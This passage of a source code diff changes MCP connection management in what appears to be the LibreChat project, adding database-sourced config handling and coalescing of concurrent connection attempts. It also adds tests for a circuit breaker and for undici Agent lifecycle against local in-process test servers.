-      serverConfig.requiresOAuth || (serverConfig as t.ParsedServerConfig).oauthMetadata,
-    );
+    const useOAuth = Boolean(serverConfig.requiresOAuth || serverConfig.oauthMetadata);
 
     const useSSRFProtection = MCPServersRegistry.getInstance().shouldEnableSSRFProtection();
-    const basic: t.BasicConnectionOptions = { serverName, serverConfig, useSSRFProtection };
+    const dbSourced = !!serverConfig.dbId;
+    const basic: t.BasicConnectionOptions = {
+      dbSourced,
+      serverName,
+      serverConfig,
+      useSSRFProtection,
+    };
 
     if (!useOAuth) {
       const result = await MCPConnectionFactory.discoverTools(basic);
@@ -290,22 +294,23 @@ Please follow these instructions when using tools from the respective MCP server
         );
       }
 
-      const rawConfig = (await MCPServersRegistry.getInstance().getServerConfig(
-        serverName,
-        userId,
-      )) as t.MCPOptions;
+      const rawConfig = await MCPServersRegistry.getInstance().getServerConfig(serverName, userId);
+      const isDbSourced = !!rawConfig?.dbId;
 
-      // Pre-process Graph token placeholders (async) before sync processMCPEnv
-      const graphProcessedConfig = await preProcessGraphTokens(rawConfig, {
-        user,
-        graphTokenResolver,
-        scopes: process.env.GRAPH_API_SCOPES,
-      });
+      /** Pre-process Graph token placeholders (async) before the synchronous processMCPEnv pass */
+      const graphProcessedConfig = isDbSourced
+        ? (rawConfig as t.MCPOptions)
+        : await preProcessGraphTokens(rawConfig as t.MCPOptions, {
+            user,
+            graphTokenResolver,
+            scopes: process.env.GRAPH_API_SCOPES,
+          });
       const currentOptions = processMCPEnv({
         user,
-        options: graphProcessedConfig,
-        customUserVars: customUserVars,
         body: requestBody,
+        dbSourced: isDbSourced,
+        options: graphProcessedConfig,
+        customUserVars,
       });
       if ('headers' in currentOptions) {
         connection.setRequestHeaders(currentOptions.headers || {});
diff --git a/packages/api/src/mcp/UserConnectionManager.ts b/packages/api/src/mcp/UserConnectionManager.ts
index e5d94689a0..76523fc0fc 100644
--- a/packages/api/src/mcp/UserConnectionManager.ts
+++ b/packages/api/src/mcp/UserConnectionManager.ts
@@ -1,10 +1,10 @@
 import { logger } from '@librechat/data-schemas';
 import { ErrorCode, McpError } from '@modelcontextprotocol/sdk/types.js';
-import { MCPConnectionFactory } from '~/mcp/MCPConnectionFactory';
-import { MCPServersRegistry } from '~/mcp/registry/MCPServersRegistry';
-import { MCPConnection } from './connection';
 import type * as t from './types';
+import { MCPServersRegistry } from '~/mcp/registry/MCPServersRegistry';
 import { ConnectionsRepository } from '~/mcp/ConnectionsRepository';
+import { MCPConnectionFactory } from '~/mcp/MCPConnectionFactory';
+import { MCPConnection } from './connection';
 import { mcpConfig } from './mcpConfig';
 
 /**
@@ -21,6 +21,8 @@ export abstract class UserConnectionManager {
   protected userConnections: Map<string, Map<string, MCPConnection>> = new Map();
   /** Last activity timestamp for users (not per server) */
   protected userLastActivity: Map<string, number> = new Map();
+  /** In-flight connection promises keyed by `userId:serverName` — coalesces concurrent attempts */
+  protected pendingConnections: Map<string, Promise<MCPConnection>> = new Map();
 
   /** Updates the last activity timestamp for a user */
   protected updateUserLastActivity(userId: string): void {
@@ -31,29 +33,64 @@ export abstract class UserConnectionManager {
     );
   }
 
-  /** Gets or creates a connection for a specific user */
-  public async getUserConnection({
-    serverName,
-    forceNew,
-    user,
-    flowManager,
-    customUserVars,
-    requestBody,
-    tokenMethods,
-    oauthStart,
-    oauthEnd,
-    signal,
-    returnOnOAuth = false,
-    connectionTimeout,
-  }: {
-    serverName: string;
-    forceNew?: boolean;
-  } & Omit<t.OAuthConnectionOptions, 'useOAuth'>): Promise<MCPConnection> {
+  /** Gets or creates a connection for a specific user, coalescing concurrent attempts */
+  public async getUserConnection(
+    opts: {
+      serverName: string;
+      forceNew?: boolean;
+    } & Omit<t.OAuthConnectionOptions, 'useOAuth'>,
+  ): Promise<MCPConnection> {
+    const { serverName, forceNew, user } = opts;
     const userId = user?.id;
     if (!userId) {
       throw new McpError(ErrorCode.InvalidRequest, `[MCP] User object missing id property`);
     }
 
+    const lockKey = `${userId}:${serverName}`;
+
+    if (!forceNew) {
+      const pending = this.pendingConnections.get(lockKey);
+      if (pending) {
+        logger.debug(`[MCP][User: ${userId}][${serverName}] Joining in-flight connection attempt`);
+        return pending;
+      }
+    }
+
+    const connectionPromise = this.createUserConnectionInternal(opts, userId);
+
+    if (!forceNew) {
+      this.pendingConnections.set(lockKey, connectionPromise);
+    }
+
+    try {
+      return await connectionPromise;
+    } finally {
+      if (!forceNew && this.pendingConnections.get(lockKey) === connectionPromise) {
+        this.pendingConnections.delete(lockKey);
+      }
+    }
+  }
+
+  private async createUserConnectionInternal(
+    {
+      serverName,
+      forceNew,
+      user,
+      flowManager,
+      customUserVars,
+      requestBody,
+      tokenMethods,
+      oauthStart,
+      oauthEnd,
+      signal,
+      returnOnOAuth = false,
+      connectionTimeout,
+    }: {
+      serverName: string;
+      forceNew?: boolean;
+    } & Omit<t.OAuthConnectionOptions, 'useOAuth'>,
+    userId: string,
+  ): Promise<MCPConnection> {
     if (await this.appConnections!.has(serverName)) {
       throw new McpError(
         ErrorCode.InvalidRequest,
@@ -65,6 +102,9 @@ export abstract class UserConnectionManager {
 
     const userServerMap = this.userConnections.get(userId);
     let connection = forceNew ? undefined : userServerMap?.get(serverName);
+    if (forceNew) {
+      MCPConnection.clearCooldown(serverName);
+    }
     const now = Date.now();
 
     // Check if user is idle
@@ -115,8 +155,9 @@ export abstract class UserConnectionManager {
     try {
       connection = await MCPConnectionFactory.create(
         {
-          serverName: serverName,
           serverConfig: config,
+          serverName: serverName,
+          dbSourced: !!config.dbId,
           useSSRFProtection: MCPServersRegistry.getInstance().shouldEnableSSRFProtection(),
         },
         {
@@ -184,6 +225,7 @@ export abstract class UserConnectionManager {
 
   /** Disconnects and removes a specific user connection */
   public async disconnectUserConnection(userId: string, serverName: string): Promise<void> {
+    this.pendingConnections.delete(`${userId}:${serverName}`);
     const userMap = this.userConnections.get(userId);
     const connection = userMap?.get(serverName);
     if (connection) {
@@ -211,6 +253,12 @@ export abstract class UserConnectionManager {
         );
       }
       await Promise.allSettled(disconnectPromises);
+      // Clean up any pending connection promises for this user
+      for (const key of this.pendingConnections.keys()) {
+        if (key.startsWith(`${userId}:`)) {
+          this.pendingConnections.delete(key);
+        }
+      }
       // Ensure user activity timestamp is removed
       this.userLastActivity.delete(userId);
       logger.info(`[MCP][User: ${userId}] All connections processed for disconnection.`);
@@ -237,4 +285,23 @@ export abstract class UserConnectionManager {
       }
     }
   }
+
+  /** Returns counts of tracked users and connections for diagnostics */
+  public getConnectionStats(): {
+    trackedUsers: number;
+    totalConnections: number;
+    activityEntries: number;
+    appConnectionCount: number;
+  } {
+    let totalConnections = 0;
+    for (const serverMap of this.userConnections.values()) {
+      totalConnections += serverMap.size;
+    }
+    return {
+      trackedUsers: this.userConnections.size,
+      totalConnections,
+      activityEntries: this.userLastActivity.size,
+      appConnectionCount: this.appConnections?.getConnectionCount() ?? 0,
+    };
+  }
 }
diff --git a/packages/api/src/mcp/__tests__/ConnectionsRepository.test.ts b/packages/api/src/mcp/__tests__/ConnectionsRepository.test.ts
index 4240ba12d6..3b827774d0 100644
--- a/packages/api/src/mcp/__tests__/ConnectionsRepository.test.ts
+++ b/packages/api/src/mcp/__tests__/ConnectionsRepository.test.ts
@@ -1,8 +1,8 @@
 import { logger } from '@librechat/data-schemas';
-import { ConnectionsRepository } from '../ConnectionsRepository';
-import { MCPConnectionFactory } from '../MCPConnectionFactory';
-import { MCPConnection } from '../connection';
-import type * as t from '../types';
+import type * as t from '~/mcp/types';
+import { ConnectionsRepository } from '~/mcp/ConnectionsRepository';
+import { MCPConnectionFactory } from '~/mcp/MCPConnectionFactory';
+import { MCPConnection } from '~/mcp/connection';
 
 // Mock external dependencies
 jest.mock('@librechat/data-schemas', () => ({
@@ -110,6 +110,7 @@ describe('ConnectionsRepository', () => {
           serverName: 'server1',
           serverConfig: mockServerConfigs.server1,
           useSSRFProtection: false,
+          dbSourced: false,
         },
         undefined,
       );
@@ -132,6 +133,7 @@ describe('ConnectionsRepository', () => {
           serverName: 'server1',
           serverConfig: mockServerConfigs.server1,
           useSSRFProtection: false,
+          dbSourced: false,
         },
         undefined,
       );
@@ -171,6 +173,7 @@ describe('ConnectionsRepository', () => {
           serverName: 'server1',
           serverConfig: configWithCachedAt,
           useSSRFProtection: false,
+          dbSourced: false,
         },
         undefined,
       );
diff --git a/packages/api/src/mcp/__tests__/MCPConnection.test.ts b/packages/api/src/mcp/__tests__/MCPConnection.test.ts
index 9f3a2dbf5d..5cb5606d57 100644
--- a/packages/api/src/mcp/__tests__/MCPConnection.test.ts
+++ b/packages/api/src/mcp/__tests__/MCPConnection.test.ts
@@ -290,6 +290,16 @@ describe('extractSSEErrorMessage', () => {
       };
     }
 
+    if (rawMessage === 'fetch failed') {
+      return {
+        message:
+          'fetch failed (request aborted, likely after a timeout — connection may still be usable)',
+        code,
+        isProxyHint: false,
+        isTransient: true,
+      };
+    }
+
     return {
       message: rawMessage,
       code,
@@ -528,4 +538,263 @@ describe('extractSSEErrorMessage', () => {
       expect(result.isTransient).toBe(false);
     });
   });
+
+  describe('fetch failed errors', () => {
+    it('should detect "fetch failed" as transient', () => {
+      const error = { message: 'fetch failed' };
+      const result = extractSSEErrorMessage(error);
+
+      expect(result.message).toContain('fetch failed');
+      expect(result.message).toContain('request aborted');
+      expect(result.isProxyHint).toBe(false);
+      expect(result.isTransient).toBe(true);
+    });
+
+    it('should not match "fetch failed" as a substring in a longer message', () => {
+      const error = { message: 'Something fetch failed to do' };
+      const result = extractSSEErrorMessage(error);
+
+      expect(result.message).toBe('Something fetch failed to do');
+      expect(result.isTransient).toBe(false);
+    });
+  });
+});
+
+/**
+ * Tests for circuit breaker logic.
+ *
+ * Uses standalone implementations that mirror the static/private circuit breaker
+ * methods in MCPConnection. Same approach as the error detection tests above.
+ */
+describe('MCPConnection Circuit Breaker', () => {
+  /** 5 cycles within 60s triggers a 30s cooldown */
+  const CB_MAX_CYCLES = 5;
+  const CB_CYCLE_WINDOW_MS = 60_000;
+  const CB_CYCLE_COOLDOWN_MS = 30_000;
+
+  /** 3 failed rounds within 120s triggers exponential backoff (30s - 300s) */
+  const CB_MAX_FAILED_ROUNDS = 3;
+  const CB_FAILED_WINDOW_MS = 120_000;
+  const CB_BASE_BACKOFF_MS = 30_000;
+  const CB_MAX_BACKOFF_MS = 300_000;
+
+  interface CircuitBreakerState {
+    cycleCount: number;
+    cycleWindowStart: number;
+    cooldownUntil: number;
+    failedRounds: number;
+    failedWindowStart: number;
+    failedBackoffUntil: number;
+  }
+
+  function createCB(): CircuitBreakerState {
+    return {
+      cycleCount: 0,
+      cycleWindowStart: Date.now(),
+      cooldownUntil: 0,
+      failedRounds: 0,
+      failedWindowStart: Date.now(),
+      failedBackoffUntil: 0,
+    };
+  }
+
+  function isCircuitOpen(cb: CircuitBreakerState): boolean {
+    const now = Date.now();
+    return now < cb.cooldownUntil || now < cb.failedBackoffUntil;
+  }
+
+  function recordCycle(cb: CircuitBreakerState): void {
+    const now = Date.now();
+    if (now - cb.cycleWindowStart > CB_CYCLE_WINDOW_MS) {
+      cb.cycleCount = 0;
+      cb.cycleWindowStart = now;
+    }
+    cb.cycleCount++;
+    if (cb.cycleCount >= CB_MAX_CYCLES) {
+      cb.cooldownUntil = now + CB_CYCLE_COOLDOWN_MS;
+      cb.cycleCount = 0;
+      cb.cycleWindowStart = now;
+    }
+  }
+
+  function recordFailedRound(cb: CircuitBreakerState): void {
+    const now = Date.now();
+    if (now - cb.failedWindowStart > CB_FAILED_WINDOW_MS) {
+      cb.failedRounds = 0;
+      cb.failedWindowStart = now;
+    }
+    cb.failedRounds++;
+    if (cb.failedRounds >= CB_MAX_FAILED_ROUNDS) {
+      const backoff = Math.min(
+        CB_BASE_BACKOFF_MS * Math.pow(2, cb.failedRounds - CB_MAX_FAILED_ROUNDS),
+        CB_MAX_BACKOFF_MS,
+      );
+      cb.failedBackoffUntil = now + backoff;
+    }
+  }
+
+  function resetFailedRounds(cb: CircuitBreakerState): void {
+    cb.failedRounds = 0;
+    cb.failedWindowStart = Date.now();
+    cb.failedBackoffUntil = 0;
+  }
+
+  beforeEach(() => {
+    jest.useFakeTimers();
+  });
+
+  afterEach(() => {
+    jest.useRealTimers();
+  });
+
+  describe('cycle tracking', () => {
+    it('should not trigger cooldown for fewer than 5 cycles', () => {
+      const now = Date.now();
+      jest.setSystemTime(now);
+
+      const cb = createCB();
+      for (let i = 0; i < CB_MAX_CYCLES - 1; i++) {
+        recordCycle(cb);
+      }
+      expect(isCircuitOpen(cb)).toBe(false);
+    });
+
+    it('should trigger 30s cooldown after 5 cycles within 60s', () => {
+      const now = Date.now();
+      jest.setSystemTime(now);
+
+      const cb = createCB();
+      for (let i = 0; i < CB_MAX_CYCLES; i++) {
+        recordCycle(cb);
+      }
+      expect(isCircuitOpen(cb)).toBe(true);
+
+      jest.advanceTimersByTime(29_000);
+      expect(isCircuitOpen(cb)).toBe(true);
+
+      jest.advanceTimersByTime(1_000);
+      expect(isCircuitOpen(cb)).toBe(false);
+    });
+
+    it('should reset cycle count when window expires', () => {
+      const now = Date.now();
+      jest.setSystemTime(now);
+
+      const cb = createCB();
+      for (let i = 0; i < CB_MAX_CYCLES - 1; i++) {
+        recordCycle(cb);
+      }
+
+      jest.advanceTimersByTime(CB_CYCLE_WINDOW_MS + 1);
+
+      recordCycle(cb);
+      expect(isCircuitOpen(cb)).toBe(false);
+    });
+  });
+
+  describe('failed round tracking', () => {
+    it('should not trigger backoff for fewer than 3 failures', () => {
+      const now = Date.now();
+      jest.setSystemTime(now);
+
+      const cb = createCB();
+      for (let i = 0; i < CB_MAX_FAILED_ROUNDS - 1; i++) {
+        recordFailedRound(cb);
+      }
+      expect(isCircuitOpen(cb)).toBe(false);
+    });
+
+    it('should trigger 30s backoff after 3 failures within 120s', () => {
+      const now = Date.now();
+      jest.setSystemTime(now);
+
+      const cb = createCB();
+      for (let i = 0; i < CB_MAX_FAILED_ROUNDS; i++) {
+        recordFailedRound(cb);
+      }
+      expect(isCircuitOpen(cb)).toBe(true);
+
+      jest.advanceTimersByTime(CB_BASE_BACKOFF_MS);
+      expect(isCircuitOpen(cb)).toBe(false);
+    });
+
+    it('should use exponential backoff based on failure count', () => {
+      jest.setSystemTime(Date.now());
+
+      const cb = createCB();
+
+      for (let i = 0; i < 3; i++) {
+        recordFailedRound(cb);
+      }
+      expect(cb.failedBackoffUntil - Date.now()).toBe(30_000);
+
+      recordFailedRound(cb);
+      expect(cb.failedBackoffUntil - Date.now()).toBe(60_000);
+
+      recordFailedRound(cb);
+      expect(cb.failedBackoffUntil - Date.now()).toBe(120_000);
+
+      recordFailedRound(cb);
+      expect(cb.failedBackoffUntil - Date.now()).toBe(240_000);
+
+      // capped at 300s
+      recordFailedRound(cb);
+      expect(cb.failedBackoffUntil - Date.now()).toBe(300_000);
+    });
+
+    it('should reset failed window when window expires', () => {
+      const now = Date.now();
+      jest.setSystemTime(now);
+
+      const cb = createCB();
+      recordFailedRound(cb);
+      recordFailedRound(cb);
+
+      jest.advanceTimersByTime(CB_FAILED_WINDOW_MS + 1);
+
+      recordFailedRound(cb);
+      expect(isCircuitOpen(cb)).toBe(false);
+    });
+  });
+
+  describe('resetFailedRounds', () => {
+    it('should clear failed round state on successful connection', () => {
+      const now = Date.now();
+      jest.setSystemTime(now);
+
+      const cb = createCB();
+      for (let i = 0; i < CB_MAX_FAILED_ROUNDS; i++) {
+        recordFailedRound(cb);
+      }
+      expect(isCircuitOpen(cb)).toBe(true);
+
+      resetFailedRounds(cb);
+      expect(isCircuitOpen(cb)).toBe(false);
+      expect(cb.failedRounds).toBe(0);
+      expect(cb.failedBackoffUntil).toBe(0);
+    });
+  });
+
+  describe('clearCooldown (registry deletion)', () => {
+    it('should allow connections after clearing circuit breaker state', () => {
+      const now = Date.now();
+      jest.setSystemTime(now);
+
+      const registry = new Map<string, CircuitBreakerState>();
+      const serverName = 'test-server';
+
+      const cb = createCB();
+      registry.set(serverName, cb);
+
+      for (let i = 0; i < CB_MAX_CYCLES; i++) {
+        recordCycle(cb);
+      }
+      expect(isCircuitOpen(cb)).toBe(true);
+
+      registry.delete(serverName);
+
+      const newCb = createCB();
+      expect(isCircuitOpen(newCb)).toBe(false);
+    });
+  });
 });
diff --git a/packages/api/src/mcp/__tests__/MCPConnectionAgentLifecycle.test.ts b/packages/api/src/mcp/__tests__/MCPConnectionAgentLifecycle.test.ts
new file mode 100644
index 0000000000..281bd590db
--- /dev/null
+++ b/packages/api/src/mcp/__tests__/MCPConnectionAgentLifecycle.test.ts
@@ -0,0 +1,727 @@
+/**
+ * Integration tests for MCPConnection undici Agent lifecycle.
+ *
+ * These tests spin up real in-process MCP servers using the official SDK's
+ * StreamableHTTPServerTransport and SSEServerTransport, then connect via
+ * MCPConnection and assert that:
+ *
+ * 1. Agents are reused across requests — one per transport, not one per request.
+ * 2. All Agents are closed when disconnect() is called.
+ * 3. Prior Agents are closed before a new transport is built during reconnection.
+ * 4. A second disconnect() does not double-close already-cleared Agents.
+ * 5. SSE 404 without an active session is silently ignored (backwards compat).
+ * 6. SSE 404 with an active session falls through so reconnection can fire.
+ * 7. Regression: the old per-request Agent pattern results in leaked agents that
+ *    are never closed — proving the fix is necessary.
+ */
+
+import * as http from 'http';
+import * as net from 'net';
+import { randomUUID } from 'crypto';
+import { Agent, fetch as undiciFetch } from 'undici';
+import { Server as McpServerCore } from '@modelcontextprotocol/sdk/server/index.js';
+import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';
+import { SSEServerTransport } from '@modelcontextprotocol/sdk/server/sse.js';
+import { StreamableHTTPServerTransport } from '@modelcontextprotocol/sdk/server/streamableHttp.js';
+import { logger } from '@librechat/data-schemas';
+import { MCPConnection } from '~/mcp/connection';
+
+import type { Socket } from 'net';
+
+jest.mock('@librechat/data-schemas', () => ({
+  logger: {
+    info: jest.fn(),
+    warn: jest.fn(),
+    error: jest.fn(),
+    debug: jest.fn(),
+  },
+}));
+
+jest.mock('~/auth', () => ({
+  createSSRFSafeUndiciConnect: jest.fn(() => undefined),
+  resolveHostnameSSRF: jest.fn(async () => false),
+}));
+
+jest.mock('~/mcp/mcpConfig', () => ({
+  mcpConfig: { CONNECTION_CHECK_TTL: 0 },
+}));
+
+const mockLogger = logger as jest.Mocked<typeof logger>;
+
+/**
+ * Track every Agent created during the test run so we can forcibly tear down their
+ * internal connection pools in afterAll. The MCP SDK's Client / EventSource may hold
+ * references to undici internals that keep Node's event loop alive.
+ */
+const allAgentsCreated: Agent[] = [];
+const OriginalAgent = Agent;
+const PatchedAgent = new Proxy(OriginalAgent, {
+  construct(target, args) {
+    const instance = new target(...(args as [Agent.Options?]));
+    allAgentsCreated.push(instance);
+    return instance;
+  },
+});
+(global as Record<string, unknown>).__undiciAgent = PatchedAgent;
+
+/** Cleanly disconnect an MCPConnection — suppress reconnection first so no timers linger. */
+async function safeDisconnect(conn: MCPConnection | null): Promise<void> {
+  if (!conn) {
+    return;
+  }
+  (conn as unknown as { shouldStopReconnecting: boolean }).shouldStopReconnecting = true;
+  conn.removeAllListeners();
+  await conn.disconnect();
+}
+
+afterAll(async () => {
+  const destroying = allAgentsCreated.map((a) => {
+    if (!a.destroyed && !a.closed) {
+      return a.destroy().catch(() => undefined);
+    }
+    return Promise.resolve();
+  });
+  allAgentsCreated.length = 0;
+  await Promise.all(destroying);
+});
+
+interface TestServer {
+  url: string;
+  close: () => Promise<void>;
+}
+
+function getFreePort(): Promise<number> {
+  return new Promise((resolve, reject) => {
+    const srv = net.createServer();
+    srv.listen(0, '127.0.0.1', () => {
+      const addr = srv.address() as net.AddressInfo;
+      srv.close((err) => (err ? reject(err) : resolve(addr.port)));
+    });
+  });
+}
+
+/** Wraps an http.Server with socket tracking so close() kills all lingering connections. */
+function trackSockets(httpServer: http.Server): () => Promise<void> {
+  const sockets = new Set<Socket>();
+  httpServer.on('connection', (socket: Socket) => {
+    sockets.add(socket);
+    socket.once('close', () => sockets.delete(socket));
+  });
+  return () =>
+    new Promise<void>((resolve) => {
+      for (const socket of sockets) {
+        socket.destroy();
+      }
+      sockets.clear();
+      httpServer.close(() => resolve());
+    });
+}
+
+async function createStreamableServer(): Promise<TestServer> {
+  const sessions = new Map<string, StreamableHTTPServerTransport>();
+
+  const httpServer = http.createServer(async (req, res) => {
+    const sid = req.headers['mcp-session-id'] as string | undefined;
+    let transport = sid ? sessions.get(sid) : undefined;
+
+    if (!transport) {
+      transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID() });
+      const mcp = new McpServer({ name: 'test-streamable', version: '0.0.1' });
+      await mcp.connect(transport);
+    }
+
+    await transport.handleRequest(req, res);
+
+    if (transport.sessionId && !sessions.has(transport.sessionId)) {
+      sessions.set(transport.sessionId, transport);
+      transport.onclose = () => sessions.delete(transport!.sessionId!);
+    }
+  });
+
+  const destroySockets = trackSockets(httpServer);
+  const port = await getFreePort();
+  await new Promise<void>((resolve) => httpServer.listen(port, '127.0.0.1', resolve));
+
+  return {
+    url: `http://127.0.0.1:${port}/`,
+    close: async () => {
+      const closing = [...sessions.values()].map((t) => t.close().catch(() => undefined));
+      sessions.clear();
+      await Promise.all(closing);
+      await destroySockets();
+    },
+  };
+}
+
+async function createSSEServer(): Promise<TestServer> {
+  const transports = new Map<string, SSEServerTransport>();
+  const mcpServer = new McpServerCore({ name: 'test-sse', version: '0.0.1' }, { capabilities: {} });
+
+  const httpServer = http.createServer(async (req, res) => {
+    if (req.method === 'GET' && req.url === '/sse') {
+      const t = new SSEServerTransport('/messages', res);
+      transports.set(t.sessionId, t);
+      t.onclose = () => transports.delete(t.sessionId);
+      await mcpServer.connect(t);
+      return;
+    }
+
+    if (req.method === 'POST' && req.url?.startsWith('/messages')) {
+      const sid = new URL(req.url, 'http://x').searchParams.get('sessionId') ?? '';
+      const t = transports.get(sid);
+      if (!t) {
+        res.writeHead(404).end();
+        return;
+      }
+      await t.handlePostMessage(req, res);
+      return;
+    }
+
+    res.writeHead(404).end();
+  });
+
+  const destroySockets = trackSockets(httpServer);
+  const port = await getFreePort();
+  await new Promise<void>((resolve) => httpServer.listen(port, '127.0.0.1', resolve));
+
+  return {
+    url: `http://127.0.0.1:${port}/sse`,
+    close: async () => {
+      const closing = [...transports.values()].map((t) => t.close().catch(() => undefined));
+      transports.clear();
+      await Promise.all(closing);
+      await destroySockets();
+    },
+  };
+}
+
+describe('MCPConnection Agent lifecycle – streamable-http', () => {
+  let server: TestServer;
+  let conn: MCPConnection | null;
+  let closeSpy: jest.SpyInstance;
+
+  beforeEach(async () => {
+    server = await createStreamableServer();
+    conn = null;
+    closeSpy = jest.spyOn(Agent.prototype, 'close');
+  });
+
+  afterEach(async () => {
+    MCPConnection.clearCooldown('test');
+    await safeDisconnect(conn);
+    conn = null;
+    jest.restoreAllMocks();
+    await server.close();
+  });
+
+  it('reuses the same Agent across multiple requests instead of creating one per request', async () => {
+    conn = new MCPConnection({
+      serverName: 'test',
+      serverConfig: { type: 'streamable-http', url: server.url },
+      useSSRFProtection: false,
+    });
+
+    await conn.connect();
+
+    await conn.fetchTools();
+    await conn.fetchTools();
+    await conn.fetchTools();
+
+    await safeDisconnect(conn);
+
+    /**
+     * streamable-http creates two Agents via createFetchFunction: one for POST
+     * (normal timeout) and one for GET SSE (long body timeout).
+     * If agents were per-request (old bug), they would not be stored and close
+     * would be called 0 times. With our fix, Agents are stored and closed on
+     * disconnect regardless of request count — confirming reuse.
+     */
+    const closeCount = closeSpy.mock.calls.length;
+    expect(closeCount).toBeGreaterThanOrEqual(1);
+    expect(closeCount).not.toBe(3);
+
+    conn = null;
+  });
+
+  it('calls Agent.close() on every registered Agent when disconnect() is called', async () => {
+    conn = new MCPConnection({
+      serverName: 'test',
+      serverConfig: { type: 'streamable-http', url: server.url },
+      useSSRFProtection: false,
+    });
+
+    await conn.connect();
+    expect(closeSpy).not.toHaveBeenCalled();
+
+    await safeDisconnect(conn);
+    expect(closeSpy).toHaveBeenCalled();
+    conn = null;
+  });
+
+  it('does not call Agent.close() before disconnect()', async () => {
+    conn = new MCPConnection({
+      serverName: 'test',
+      serverConfig: { type: 'streamable-http', url: server.url },
+      useSSRFProtection: false,
+    });
+
+    await conn.connect();
+    expect(closeSpy).not.toHaveBeenCalled();
+  });
+
+  it('closes prior Agents on the connectClient() teardown path', async () => {
+    conn = new MCPConnection({
+      serverName: 'test',
+      serverConfig: { type: 'streamable-http', url: server.url },
+      useSSRFProtection: false,
+    });
+
+    await conn.connect();
+    expect(closeSpy).not.toHaveBeenCalled();
+
+    (conn as unknown as { connectionState: string }).connectionState = 'disconnected';
+    await conn.connectClient();
+
+    expect(closeSpy.mock.calls.length).toBeGreaterThan(0);
+  });
+
+  it('does not double-close Agents when disconnect() is called twice', async () => {
+    conn = new MCPConnection({
+      serverName: 'test',
+      serverConfig: { type: 'streamable-http', url: server.url },
+      useSSRFProtection: false,
+    });
+
+    await conn.connect();
+    await safeDisconnect(conn);
+
+    const countAfterFirst = closeSpy.mock.calls.length;
+    expect(countAfterFirst).toBeGreaterThan(0);
+
+    await safeDisconnect(conn);
+    expect(closeSpy.mock.calls.length).toBe(countAfterFirst);
+    conn = null;
+  });
+
+  it('creates separate Agents for POST (normal timeout) and GET SSE (default sseReadTimeout)', async () => {
+    conn = new MCPConnection({
+      serverName: 'test',
+      serverConfig: { type: 'streamable-http', url: server.url },
+      useSSRFProtection: false,
+    });
+
+    await conn.connect();
+
+    const agents = (conn as unknown as { agents: Agent[] }).agents;
+    expect(agents.length).toBeGreaterThanOrEqual(2);
+
+    const optionsSym = Object.getOwnPropertySymbols(agents[0]).find(
+      (s) => s.toString() === 'Symbol(options)',
+    );
+    expect(optionsSym).toBeDefined();
+
+    const bodyTimeouts = agents.map(
+      (a) => (a as unknown as Record<symbol, { bodyTimeout: number }>)[optionsSym!].bodyTimeout,
+    );
+
+    const hasShortTimeout = bodyTimeouts.some((t) => t <= 120_000);
+    const hasLongTimeout = bodyTimeouts.some((t) => t === 5 * 60 * 1000);
+
+    expect(hasShortTimeout).toBe(true);
+    expect(hasLongTimeout).toBe(true);
+  });
+
+  it('respects a custom sseReadTimeout from server config', async () => {
+    const customTimeout = 10 * 60 * 1000;
+    conn = new MCPConnection({
+      serverName: 'test',
+      serverConfig: { type: 'streamable-http', url: server.url, sseReadTimeout: customTimeout },
+      useSSRFProtection: false,
+    });
+
+    await conn.connect();
+
+    const agents = (conn as unknown as { agents: Agent[] }).agents;
+    const optionsSym = Object.getOwnPropertySymbols(agents[0]).find(
+      (s) => s.toString() === 'Symbol(options)',
+    );
+    expect(optionsSym).toBeDefined();
+
+    const bodyTimeouts = agents.map(
+      (a) => (a as unknown as Record<symbol, { bodyTimeout: number }>)[optionsSym!].bodyTimeout,
+    );
+
+    expect(bodyTimeouts).toContain(customTimeout);
+  });
+});
+
+describe('MCPConnection Agent lifecycle – SSE', () => {
+  let server: TestServer;
+  let conn: MCPConnection | null;
+  let closeSpy: jest.SpyInstance;
+
+  beforeEach(async () => {
+    server = await createSSEServer();
+    conn = null;
+    closeSpy = jest.spyOn(Agent.prototype, 'close');
+  });
+
+  afterEach(async () => {
+    MCPConnection.clearCooldown('test-sse');
+    await safeDisconnect(conn);
+    conn = null;
+    jest.restoreAllMocks();
+    await server.close();
+  });
+
+  it('reuses the same Agents across multiple requests instead of creating one per request', async () => {
+    conn = new MCPConnection({
+      serverName: 'test-sse',
+      serverConfig: { url: server.url },
+      useSSRFProtection: false,
+    });
+
+    await conn.connect();
+
+    await conn.fetchTools();
+    await conn.fetchTools();
+    await conn.fetchTools();
+
+    await safeDisconnect(conn);
+
+    /**
+     * SSE creates two Agents: sseAgent (eventSourceInit) + createFetchFunction agent.
+     * Close count must be at least 2 regardless of how many POST requests were made.
+     * If agents were per-request (old bug), they would not be stored and close
+     * would be called 0 times.
+     */
+    expect(closeSpy.mock.calls.length).toBeGreaterThanOrEqual(2);
+    conn = null;
+  });
+
+  it('calls Agent.close() on every registered Agent when disconnect() is called', async () => {
+    conn = new MCPConnection({
+      serverName: 'test-sse',
+      serverConfig: { url: server.url },
+      useSSRFProtection: false,
+    });
+
+    await conn.connect();
+    expect(closeSpy).not.toHaveBeenCalled();
+
+    await safeDisconnect(conn);
+    expect(closeSpy).toHaveBeenCalled();
+    conn = null;
+  });
+
+  it('closes at least two Agents for SSE transport (eventSourceInit + fetch)', async () => {
+    conn = new MCPConnection({
+      serverName: 'test-sse',
+      serverConfig: { url: server.url },
+      useSSRFProtection: false,
+    });
+
+    await conn.connect();
+    await safeDisconnect(conn);
+
+    expect(closeSpy.mock.calls.length).toBeGreaterThanOrEqual(2);
+    conn = null;
+  });
+
+  it('does not double-close Agents when disconnect() is called twice', async () => {
+    conn = new MCPConnection({
+      serverName: 'test-sse',
+      serverConfig: { url: server.url },
+      useSSRFProtection: false,
+    });
+
+    await conn.connect();
+    await safeDisconnect(conn);
+
+    const countAfterFirst = closeSpy.mock.calls.length;
+    await safeDisconnect(conn);
+    expect(closeSpy.mock.calls.length).toBe(countAfterFirst);
+    conn = null;
+  });
+});
+
+describe('Regression: old per-request Agent pattern leaks agents', () => {
+  let server: TestServer;
+  let conn: MCPConnection | null;
+
+  beforeEach(async () => {
+    server = await createStreamableServer();
+    conn = null;
+  });
+
+  afterEach(async () => {
+    MCPConnection.clearCooldown('test-regression');
+    await safeDisconnect(conn);
+    conn = null;
+    jest.restoreAllMocks();
+    await server.close();
+  });
+
+  it('per-request Agent allocation prevents any agent from being closed on disconnect', async () => {
+    conn = new MCPConnection({
+      serverName: 'test-regression',
+      serverConfig: { type: 'streamable-http', url: server.url },
+      useSSRFProtection: false,
+    });
